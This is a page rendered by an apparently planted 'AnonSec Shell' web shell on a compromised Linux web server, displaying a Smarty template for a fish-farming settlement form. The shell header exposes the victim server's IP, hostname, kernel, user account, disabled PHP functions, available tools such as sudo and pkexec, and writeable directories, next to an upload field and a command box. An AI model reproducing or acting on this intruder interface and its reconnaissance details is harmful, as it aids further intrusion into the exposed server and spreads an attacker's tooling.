AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/dialogo/application/plugins/module_fish/views/settlement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/dialogo/application/plugins/module_fish/views/settlement/add.tpl
<div class="wrapper wrapper-content">
<input id="_client_view" type="hidden" value="{if isset($client)}{'client/'}{/if}">

    <form class="form-horizontal" id="form-settlement" method="post">

        <div class="row">

            <div class="col-md-12">

                <div class="ibox float-e-margins">

                    
                    <div class="ibox-title">
                        <h5>{$title}</h5>
                     {*   <a href="{$_url}module_fish/settlement/listTank"
                           class="btn btn-xs btn-primary btn-rounded pull-right">
                            <i class="fa fa-bars"></i> {$_L['Tank_List_Fish']}
                        </a>*}
                    </div>

                    <div class="ibox-content" id="ibox_form">
                        <div class="alert alert-danger" id="emsg">
                           <span id="emsgbody"></span>
                        </div>
                        <div class="row">

                            
                        {if !isset($client)}
                            <div class="col-md-12 col-sm-12 col-xs-12">
                                <label class="control-label" for="title">
                                    {$_L['Associated']} <small class="red">*</small>
                                </label>
                                <select name="crm_accounts_id" id="crm_accounts_id" class="form-control associated_select" required>
                                    {if not empty($settlement->crm_accounts_id)}
                                        <option value="{$settlement->crm_accounts_id}" selected> {$settlement->account}</option>
                                    {/if}
                                </select>
                            </div>

                        {else if}
                            <input type="hidden" name="crm_accounts_id" id="crm_accounts_id" value="{$client->id}">
                        {/if}
                            
                            
                        </div>

                        <div class="row">
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <label class="control-label" for="title">{$_L['Module_Fish Title Lote']} <small class="red">*</small></label>
                                <input name="title_lote" maxlength="100" id="title_lote" class="form-control" value="{$settlement->title_lote}" required>
                            </div>

                             <div class="form-group col-md-3  col-sm-3 col-xs-12">
                                <label >{$_L['Module_Fish Date Settlement']} <small class="red">*</small></label>
                                <input type="text" required class="form-control" id="date_settlement" name="date_settlement" datepicker
                                       data-date-format="{$_c['formatDate']}" data-auto-close="true" value="{if not empty($settlement->date_settlement)}{date( $_c['df'], strtotime($settlement->date_settlement))}{/if}">
                            </div>

                            <div class="col-md-3 col-sm-3 col-xs-12">
                                <label class="control-label" for="title">{$_L['Module_Fish average weight']} <small class="red">*</small></label>
                                <div class="input-group">
                                    <input type="text" name="average_weight" id="average_weight" class="form-control number" value="{if not empty($settlement->average_weight)}{$settlement->average_weight*1000}{/if}" required>
                                    <span class="input-group-addon  after">g</span>
                                </div>
                            </div>
                        </div>

                        <div class="row">

                            <div class="col-md-12 col-sm-12 col-xs-12">
                                <label class="control-label" for="title">
                                    {$_L['Species_List_Fish']} <small class="red">*</small>
                                </label>
                                <select name="module_fish_species_id" id="module_fish_species_id" class="form-control specie_select" required>
                                    {if not empty($settlement->specie_id)}
                                        <option value="{$settlement->specie_id}" selected> {$settlement->popular_name} - {$settlement->scientific_name}</option>
                                    {/if}
                                </select> 
                            </div>

                        </div>
                        <hr/>
                    <div class="table-responsive">
                        <table class="table invoice-items" id="settlement_itens">
                            <thead>
                            <tr class="h4 text-dark">
                                <th  class="text-semibold col-xs-5">{$_L['Module_Fish Program']}</th>
                                <th  class="text-semibold col-xs-5">{$_L['Module_Fish Tank']}</th>
                                <th  class=" text-semibold">{$_L['Quantity']}</th>
                            </tr>
                            </thead>
                            <tbody>
                            {assign var=rowNum value=0}
							
                            {foreach $items as $item}
                                <tr class="">
                                    <td class="middle">
                                        <input type="hidden" name="module_fish_lots_distribution_program_id[]" value="{$item->module_fish_lots_distribution_program_id}">
                                        <input type="hidden" id="lote_id_{$rowNum}" name="lote_id[]" value="{$item->lote_id}">
                                        <select data-row="{$rowNum}"  id="program_{$rowNum}" name="program[]"  class="form-control program_select" style="width:100%">
                                            <option value="{$item->program_id}">{$item->name_program}</option>
                                        </select>
                                    </td> 
                                    <td class="middle">
                                        <select data-row="{$rowNum}"  id="tank_{$rowNum}" name="tank[]"  class="form-control tank_select" style="width:100%">
                                             <option value="{$item->tank_id}">{$item->title_tank}</option>
                                        </select>
                                    </td> 
                                    <td class="middle">
                                        <input type="text" class="form-control number"  value="{$item->qty}" name="qty[]" id="qty_'{$rowNum}">
                                    </td> 
                                    <td class="middle col-xs-1"> {if $item->totalMoviment==0} <span class="btn btn-danger btn-xs delete_lot" data-row="{$rowNum++}" ><i class="fa fa-trash"></i> 
                                            {else}
                                                <i class="fa fa-info-circle text-success" data-toggle="tooltip" data-placement="top" title="" data-original-title="{$_L['Module_Fish Not permited Settlement']}"></i>
                                            {/if}</span></td>
                                </tr>
      
                            {/foreach}

                            </tbody>
                        </table>
                    </div>
                            <input type="hidden" id="loteIdDeleted" name="loteIdDeleted" value="">
                            <input type="hidden" id="rowNum" value="{$rowNum}">
                    <button type="button" class="btn btn-primary" id="item-add"><i class="fa fa-plus"></i> {$_L['Add']}
                    </button>
                     

                        <div class="row" style="margin-top:20px">
                            <div class=" col-md-12 form-group">
                                <div class="col-lg-10">
                                   
                                    <input type="hidden" id="settlementId" name="id" value="{$settlement->id}">
                                  
                                    <button class="md-btn md-btn-primary waves-effect waves-light" type="submit" id="submit">
                                        <i class="fa fa-check"></i> {$_L['Submit']}
                                    </button>
                                    | <a href="{$_url}{if isset($client)}{'client/'}{/if}module_fish/settlement/listSettlement">{$_L['Or Cancel']}</a>
                                </div>
                            </div>
                        </div>

                    </div>

                </div>

            </div>

        </div>

    </form>

</div>

Anon7 - 2022
AnonSec Team